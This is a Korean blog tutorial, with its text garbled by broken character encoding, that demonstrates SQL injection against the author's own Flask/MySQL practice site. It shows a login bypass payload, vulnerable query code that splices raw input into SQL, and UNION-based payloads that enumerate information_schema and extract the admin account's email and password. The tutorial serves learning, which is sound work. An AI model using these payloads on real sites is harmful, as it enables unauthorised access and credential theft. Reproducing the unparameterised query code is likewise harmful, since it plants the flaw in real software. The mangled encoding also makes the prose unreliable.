๊ฐ์ธ์ ์ผ๋ก ์ ๋ณด๋ณด์ ๋ถ์ผ๋ฅผ ์ฒ์ ์ ํ๊ฒ๋ ๊ณ๊ธฐ์ด์,
์ง๊ธ๋ web ํดํน ํ๋ฉด ๊ฐ์ฅ ๋จผ์ ๋ ์ค๋ฅด๋ ์ค๋์ ์ฃผ์ธ๊ณต
๋ฐ๋ก sql injection ์ ๋๋ค.
๋ฒ์จ๋ถํฐ ๋ฏ์ค์ง๋ง ์ฝ๋ฉ์ ์ ํ๊ธฐ๋ง ํด๋ด๋ ์ฝ๊ฒ ์ดํดํ ์ ์์ต๋๋ค.
์ง๊ธ๋ถํฐ์ ๋ชจ๋ ๊ณผ์ ์ ์ ๊ฐ ์ง์ ๋ง๋ ์น์์ ํ ์คํธ ํ์์ต๋๋ค.
ํ๊ฐ๋์ง ์์ ํ ์ฌ์ดํธ์์ ๋ฌธ์ ์, ์ฑ ์์ ๋ณธ์ธ์๊ฒ ์์์ ๊ผญ ์์์ผ ํฉ๋๋ค.

์ ๊ฐ ์ฐ์ต์ ์ํด ๋ง๋ ์น ํ์ด์ง ์ ๋๋ค.
html, css, ์ฝ๊ฐ์ js๋ก ํ๋ฐํธ๋ฅผ ๊ทธ๋ฆฌ๊ณ flask์ mysql๋ก ๋ฐฑ์๋๋ฅผ ๊ตฌ์ฐํ์์ต๋๋ค.
๋ค๋ค SQL์ ๋ํด์ ๋ค์ด๋ณด์ จ๋์?
SQL์ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ฐ์ดํฐ๋ฅผ ๊ด๋ฆฌํ๊ธฐ ์ํด ๋ง๋ค์ด์ง ํ๋ก๊ทธ๋๋ฐ ์ธ์ด์ ๋๋ค.
๊ทธ๋ ๋ค๋ฉด sql injection ๊ธฐ๋ฒ์ sql๊ตฌ๋ฌธ์ ์ฝ์ ํ์ฌ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ ๊ทผํ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์์ ์ ์ถํด ๋ณผ ์ ์๊ฒ ๋ค์.
๋ํ์ ์ธ ์์๋ก ํ๋ฒ ๋ณด๊ฒ ์ต๋๋ค.

ํ๋ฒํ ๋ก๊ทธ์ธ ํ์ด์ง ์ ๋๋ค.
์ ๊ฐ ๋ฏธ๋ฆฌ ๋ฑ๋กํด๋ ๊ณ์ ์ ๋ณด๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
name | password | |
guest1 | guest1@gmail.com | 1234 |
admin | admin@gamil.com | admin1234 |
1234 | 1234 | 1234 |
guest1 ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธ์ ํด๋ณผ๊น์

์์กฐ๋กญ๊ฒ ๋ก๊ทธ์ธ์ด ๋ฉ๋๋ค.
์ฌ๊ธฐ์, ๋ค์ ๋ก๊ทธ์ธ ํ๋ฉด์ผ๋ก ๋์๊ฐ์ ๋ค์ ๊ฐ์ ๋ฃ์ด๋ณด๊ฒ ์ต๋๋ค.
password | |
guest1@gmail.com | 1' or '1'='1 |

๋ง์ฐฌ๊ฐ์ง๋ก ๋ก๊ทธ์ธ์ด ์ฑ๊ณตํฉ๋๋ค.
์ฐ๋ฆฌ๊ฐ ๋ฐฉ๊ธ ๋ฃ์๋ 1' or '1'='1์ ๋ฌด์จ ๋น๋ฐ์ด ์์๊น์?
ํ์ด์ง์ ์ฝ๋๋ฅผ ์ดํด๋ณด๋ฉฐ ์ฐจ๊ทผ์ฐจ๊ทผ ์์๊ฐ ๋ด ์๋ค.
sql = "SELECT * FROM users WHERE email='%s' AND password='%s';" % (Email, Password)
db_class = dbModule.Database()
account = db_class.executeAll(sql)
if account:
for row in account[0]:
session[row] = account[0][row]
flash("์ด์์ค์ธ์ %s๋." % session['name'])
return redirect("/")
else:
flash("์ด๋ฉ์ผ๊ณผ ๋น๋ฐ๋ฒํธ๋ฅผ ํ์ธํ์ธ์.")
return redirect('/login')
์ฒซ ๋ฌธ์ฅ์ ๋ณด๋ฉด, SQL ๊ตฌ๋ฌธ์ด ๋์์์ต๋๋ค.
SELECT * FROM users WHERE email='%s' AND password='%s';
๊ทธ๋ฆฌ๊ณ , ๊ฐ๊ฐ ์ฌ์ฉ์๊ฐ ์ ๋ ฅํ email๊ณผ password๊ฐ์ ๋ฃ์ด DB์ ๋ณด๋ ๋๋ค.
์ ์ฟผ๋ฆฌ์ ๊ดํด ๊ฐ๋จํ ์ค๋ช ์ ํ๊ธฐ ์ํด ์ฝ๊ฒ ํ์ด ๋ณด๊ฒ ์ต๋๋ค.
๋ด๋ณด๋ด๋ผ(SELECT) users๋ ํ ์ด๋ธ์์(FROM users) email์ด ~์ด๊ณ , password๊ฐ ~์ธ ๋ฐ์ดํฐ(WHERE ~)์ ๋ชจ๋ ๊ฒ์(*)
์ฌ๊ธฐ์ ๊ฐ์ฅ ์ฒ์๊ณผ ๊ฐ์ด ์ ์์ ์ธ ๋ก๊ทธ์ธ ์ ์ฟผ๋ฆฌ๋ฌธ์ ๋ค์๊ณผ ๊ฐ์ด ๋ณด๋ด์ง๋๋ค.
SELECT * FROM users WHERE email='guest1@gmail.com' AND password='1234';
WHERE ๋ค์ ์ค๋ ์กฐ๊ฑด๋ฌธ์ด ์ดํด๊ฐ ๊ฐ์๋์?
AND๋ก ๋ฌถ์ฌ์๊ธฐ์, ๋ ์ค ํ๋๋ผ๋ ๊ฑฐ์ง์ด๋ผ๋ฉด ์กฐ๊ฑด์ด ๊ฑฐ์ง์ด ๋ฉ๋๋ค.
๊ทธ๋ ๋ค๋ฉด, ์ฐ๋ฆฌ๊ฐ ๋ ๋ฒ์งธ๋ก ์ ๋ ฅํ๋ ๊ฐ์ผ๋ก ๋ณด๋ธ๋ค๋ฉด ์ด๋ป๊ฒ ๋ ๊น์?
SELECT * FROM users WHERE email='guest1@gmail.com' AND password='1' or '1'='1';
and๋ก email๊ณผ password๊ฐ์ด ๋ฌถ์ด๊ณ , ๊ทธ ๋ค๋ก or ์ด ์ค๊ฒ ๋ฉ๋๋ค.
(email='guest1@gmail.com' AND password='1') or '1'='1'
์ฝ๊ฒ ๋ณธ๋ค๋ฉด ์์ ๊ฐ์ต๋๋ค. ์ฐ์ฐ์ and๊ฐ or ๋ณด๋ค ์ฐ์ ์์์ด๊ธฐ ๋๋ฌธ์ด์ฃ .
๊ทธ๋ง์์ฆ, ํ๋๋ฐํ ๋ถ๋ถ์ด ํ๋ฆฌ๋๋ผ๋, or ๋ค์ ์์ด ์ฐธ์ด๋ผ๋ฉด ์ ์ฒด์ ์ธ ์กฐ๊ฑด์ด ์ฐธ์ด ๋๋ค๋ ์๋ฆฌ์ ๋๋ค.
ํต์ฌ์ single quote ' ์ ์์ต๋๋ค.
single quote๋ฅผ ํตํด ํ์ ๋ฒ์ด๋จ ์ผ๋ก์, sql ๊ตฌ๋ฌธ์ ์ฌ์ฉ์๊ฐ ์ง์ ์กฐ์ํ ์ ์๊ฒ๋ฉ๋๋ค.
์ฌ์ฉ์๊ฐ ์์ฝ๊ฒ db์ ์ ๊ทผํ ์ ์๋ค๋ฉด ์ ๋ง ํฐ ๋ฌธ์ ๊ฐ ๋ ์ ์๊ฒ ์ฃ ?
๊ตฌ์ฒด์ ์ผ๋ก db์ ์๋ ๋ค๋ฅธ ์ฌ์ฉ์์ ๊ฐ์ ์ ์ถํ ์๋, ์ฌ์ง์ด ์กฐ์ํ ์๋ ์์ต๋๋ค.
์ ์ํฉ์ ์์ธํ ์ดํด๋ณด๋ฉฐ, ์ด๋ฒ ๊ธฐํ์ sql injection ๊ธฐ๋ฒ์ ํ์คํ ์ดํดํด ๋ด ์๋ค.
db์ ๋ฐ์ดํฐ๋ฅผ ์ ์ถํ๋ ์ํฉ์ ๋๋ค.
ํ๊ฒฝ์ ๊ฐ์ ์น ํ์ด์ง ์ ๊ฒ์ํ ํ์ด์ง๋ฅผ ์ด์ฉํ๊ฒ ์ต๋๋ค.

์ ๊ฐ ์์๋ก ์์ฑํด๋์ ๊ธ๋ค์ ์ ์ธํ๋ฉด, ํ๋ฒํ ๊ฒ์ํ ์ ๋๋ค.
์ด์ค ํ๋๋ฅผ ํด๋ฆญํ์ฌ ๋ค์ด๊ฐ๋ด ์๋ค.

์ ๋ชฉ, ๋ณธ๋ฌธ, ์์ฑ์ ๊ทธ๋ฆฌ๊ณ ์์ฑ์๊ฐ์ด ๋์ต๋๋ค.
์ url์ ๋ณด๋ฉด, get์ผ๋ก id๋ผ๋ ๊ฐ์ ์ ๋ฌํจ์ ๋ณผ ์ ์์ต๋๋ค.
์ดํด๊ฐ ๋น ๋ฅด์ ๋ถ๋ค์ ์์๊ฒ ์ง๋ง, id๋ ํด๋น ๊ฒ์๊ธ์ id๋ก ํด๋น ๊ฐ์๋ฐ๋ผ ๋ณด์ฌ์ง๋ ๊ฒ์๊ธ์ด ๋ฌ๋ผ์ง๋๋ค.

๋ฐ๋ก ์ด ๋ถ๋ถ์ ๊ณต๊ฒฉํ์ฌ ์ฐ๋ฆฌ๊ฐ ์ํ๋ ์ ๋ณด๋ฅผ ์ฐพ์๋ด ๋ณผ๊ฒ์ ๋๋ค.
์์ํ๊ธฐ์ ์์ ๋จผ์ ์์์ผ ํ SQL ๋ฌธ๋ฒ๊ณผ mysql์ ๊ตฌ์กฐ๊ฐ ์์ต๋๋ค.
์ฐ์ UNION ๊ตฌ๋ฌธ์ ๋๋ค.
UNION์ ์ฝ๊ฒ๋งํด ์ฌ๋ฌ ๊ฐ์ ํฉ์น๋ ๊ธฐ๋ฅ์ ๋๋ค.
์ฃผ์ํ ์ ์ ์ปฌ๋ผ์ ์๊ฐ ์ผ์นํด์ผ ํ๋ค๋ ์ ์ ๋๋ค.
์๋ ์ฌ์ง์ ์์๋ฅผ ๋ณด๋ฉด, ์ปฌ๋ผ ์๊ฐ ๋ค๋ฅธ ๋ ๊ทธ๋ฃน์ ๋ฌถ์ผ๋ ค ํ์ ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ ๊ฒ์ ๋ณผ ์ ์์ต๋๋ค.

๋ค์์ group_concat ํจ์์ ๋๋ค.
๋จผ์ concat ํจ์๋ ์ฌ๋ฌ ๋ฌธ์์ด์ ํฉ์ณ์ฃผ๋ ํจ์์ ๋๋ค.

group_concat์ ์ฌ๋ฌ ๊ฒฐ๊ณผ๋ฅผ ํฉ์น๋(์ฝ๊ฒ ์๊ฐํ๋ฉด select ์ ๊ฒฐ๊ณผ๋ฅผ ํฉ์น๋) ํจ์์ ๋๋ค.

๋ค์์ผ๋ก ์์์ผํ ๊ฒ์ mysql์ information_schema์ ๋๋ค.
information_schema๋ mysql ์๋ฒ๋ด ์กด์ฌํ๋ db์ ๋ฉํ์ ๋ณด(ํ ์ด๋ธ, ์ปฌ๋ผ, ์ธ๋ฑ์ค๋ฑ์ ์คํค๋ง ์ ๋ณด)๋ฅผ ๋ชจ์๋ db์ ๋๋ค.
์ฝ๊ธฐ ์ ์ฉ์ด๋ฉฐ ์ค์ฌํ๋ ํ ์ด๋ธ์ด ์๋, ์กฐํ ์ ์ค์๊ฐ์ผ๋ก ๊ฐ์ ๊ฐ์ ธ์ต๋๋ค.
์ด๋๋ฌธ์ ํฐ๊ฐ์ ๊ฐ์ ธ์ฌ ๊ฒฝ์ฐ ์๊ฐ์ด ์ค๋ ๊ฑธ๋ฆด ์ ์์ต๋๋ค.
information_schema์ ํ ์ด๋ธ์ ์ข ๋ฅ๋ ๋ค์๊ณผ ๊ฐ์๋ฐ, ๊ทธ์ค ์ฐ๋ฆฌ๊ฐ ๋ด์ผํ ๊ฒ์ TABLES์ COLUMNS์ ๋๋ค.
COLUMNS | ENGINES | TABLES | SCHEMATA | ... |
๋ชจ๋ ์คํค๋ง์ ์ปฌ๋ผ | ์ฌ์ฉ๋๋ ์์ง | ๋ชจ๋ ํ ์ด๋ธ ์ ๋ณด | ์คํค๋ง ํ์ธ | ... |
ํ ์ด๋ธ๊ณผ ์ปฌ๋ผ๋ช ์ ๋ชจ๋ฅผ ๋ ์ ์ฉํ๊ฒ ์ฌ์ฉ ๊ฐ๋ฅํ๋ฉฐ ์์๋ ๋ณดํต ๋ค์๊ณผ ๊ฐ์ด ์ฌ์ฉํฉ๋๋ค.
ํ ์ด๋ธ๋ช โ ์ปฌ๋ผ๋ช โ ํด๋น ๋ฐ์ดํฐ
SELECT table_name FROM information_schema.tables;
information_schema๋ฅผ ์ด์ฉํ์ฌ table์ด๋ฆ์ ์ฐพ์์ค๋๋ค.
SELECT column_name FROM information_schema.columns WHERE table_name='~~~';
๊ธฐ์กด์ ์์๋๋ table ์ด๋ฆ์ ๋ง์ง๋ง์ ์กฐ๊ฑด์ผ๋ก ๊ฑธ์ด์ค๋๋ค.
SELECT col1, col2, col3 FROM ~;
์ต์ข ์ ์ผ๋ก ์์๋ธ table๊ณผ column๋ช ์ ์ด์ฉํ์ฌ ๋ฐ์ดํฐ๋ฅผ ํ์ธํฉ๋๋ค.
์ค๋น๋ ์ด์ฏค ํ๊ณ ๋ค์ ์ ๊ฒ์๊ธ ํ์ด์ง๋ก ๋์๊ฐ์, ํด๋น ํ์ด์ง๋ฅผ ๋ถ๋ฌ์ค๋ ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
@app.route("/article", methods=['GET'])
def article():
article_id = request.args.get('id')
db_class = dbModule.Database()
sql = "SELECT * FROM writes WHERE id=%s;" % article_id
article = db_class.executeAll(sql)[0]
if (session['name'] == article['writer']):
is_writer = True
else:
is_writer = False
return render_template("article.html", article=article, is_writer=is_writer)
sql ์ฟผ๋ฆฌ๋ฅผ ์ดํด๋ณด๋ฉด, id๊ฐ์ ๊ธฐ์ค์ผ๋ก ๋ฐ์ดํฐ๋ฅผ ๋ถ๋ฌ์ด์ ์ ์ ์์ต๋๋ค.
SELECT * FROM writes WHERE id='%s';
์ฌ๊ธฐ์ union์ ์ด์ฉํ์ฌ ๋ค๋ฅธ ๊ฐ๋ค์ ๋ถ๋ฌ์ฌ ์ ์๊ฒ ์ฃ ?
ํ์ฌ ์๋ฌด๋ฐ ํ ์ด๋ธ๋ช , ์ปฌ๋ผ๋ช ์ ๋ชจ๋ฅธ๋ค๋ ๊ฐ์ ํ์ ์ฐจ๊ทผ์ฐจ๊ทผ ์ฐพ์๋ด ์๋ค.
์ฐ์ , union์ ํด์ฃผ๊ธฐ ์ํด์ ์ปฌ๋ผ ์๋ฅผ ๋ง์ถฐ์ฃผ์ด์ผ ํฉ๋๋ค.
get ํ๋ผ๋ฏธํฐ id ๊ฐ์ ์๋์ ๊ฐ์ด ๋ฃ์ด๋ณด๋ฉด์ ๊ฐ์๋ฅผ ์ฐพ์์ค๋๋ค.
-1 union select 1
-1 union select 1,1
-1 union select 1,1,1
...
๊ณ์ ํ๋ค๋ณด๋ฉด 5๊ฐ์ ์ปฌ๋ผ์ด ์์์ ํ์ธํ ์ ์์ต๋๋ค.

๊ณต๊ฐ์ด ๋์ ๋ณธ๋ฌธ์ ํ์ฉํ์ฌ information_schema๋ฅผ ๋ค์ ธ๋ด ์๋ค. ๋ค์ ์ฟผ๋ฆฌ๋ฅผ ์ฌ์ฉํ์์ต๋๋ค.
-1 union select 1,1,(select group_concat(table_name) from information_schema.tables),1,1

๊ฐ์ฅ ๋ง์ง๋ง ๋ถ๋ถ์ users์ writes ํ ์ด๋ธ์ ์ด๋ฒผ๋ด ์๋ค.
-1 union select 1,1,(select group_concat(column_name) from information_schema.columns where table_name='users'),1,1
-1 union select 1,1,(select group_concat(column_name) from information_schema.columns where table_name='writes'),1,1

๋์ฑ ํฅ๋ฏธ๋ก์ ๋ณด์ด๋ users ํ ์ด๋ธ์ ๋ณด๊ฒ ์ต๋๋ค.
ํ ์ด๋ธ ๋ช ๊ณผ ์ปฌ๋ผ๋ช ์ ์ฐพ์๋๋ค๋ฉด, ํด๋น ์ ๋ณด๋ฅผ ๋ณด๋ ๊ฒ์ ์์์ฃฝ ๋จน๊ธฐ์ผ๊ฒ๋๋ค.
admin ๊ณ์ ์ ์ ๋ณด๋ฅผ ํ๋ฒ ์ถ์ถํด๋ด ์๋ค.
-1 union select 1,1,(select concat(email, ', ', password) from users where name='admin'),1,1

์ฑ๊ณต์ ์ผ๋ก admin๊ณ์ ์ ์ ๋ณด๋ฅผ ์ ์ ์์ต๋๋ค.
์ง๊ธ๊น์ง ์ ๋ฐ๋ผ์ค์ จ๋ค๋ฉด sql injection์ ๋ํด ๋ง์๊ฒ์ ์๊ฒ๋ ๊ฒ์ ๋๋ค.
ํ์ง๋ง ์ธ์์ด ํ๋ฅด๋ฉฐ ์๋ง์ ๋ฐฉ์๋ค์ด ์๊ฒจ๋ฌ๊ณ , ๊ทธ ์์ ๋ฐฉ๋ํฉ๋๋ค.
ํ๋์ฉ ์ฐจ๊ทผ์ฐจ๊ทผ ๋ด๊ฒ์ผ๋ก ๋ง๋ค์ด ๋๊ฐ๋ค ๋ณด๋ฉด, ์ํฉ์ ํค์ณ๋๊ฐ๋ ๊ธธ์ด ๋ณด์ผ ๊ฒ์ด๊ณ
์ด๋ฅผ ์ํด์ ๊พธ์คํ ๊ด์ฌ์ด ํ์ํฉ๋๋ค.
'web hacking ๐ฅ > techniques โ principles' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
HTTP Request Smuggling ์ทจ์ฝ์ (0) | 2024.12.08 |
---|---|
Race Condition (0) | 2024.04.05 |
SSTI - RCE(Remote Code Execution) ์ฐ๊ณ ๊ณต๊ฒฉ (0) | 2023.10.13 |
SSTI ๊ธฐ๋ณธ ๊ฐ๋ ๊ณผ ์์ ์ค์ต (1) | 2023.09.12 |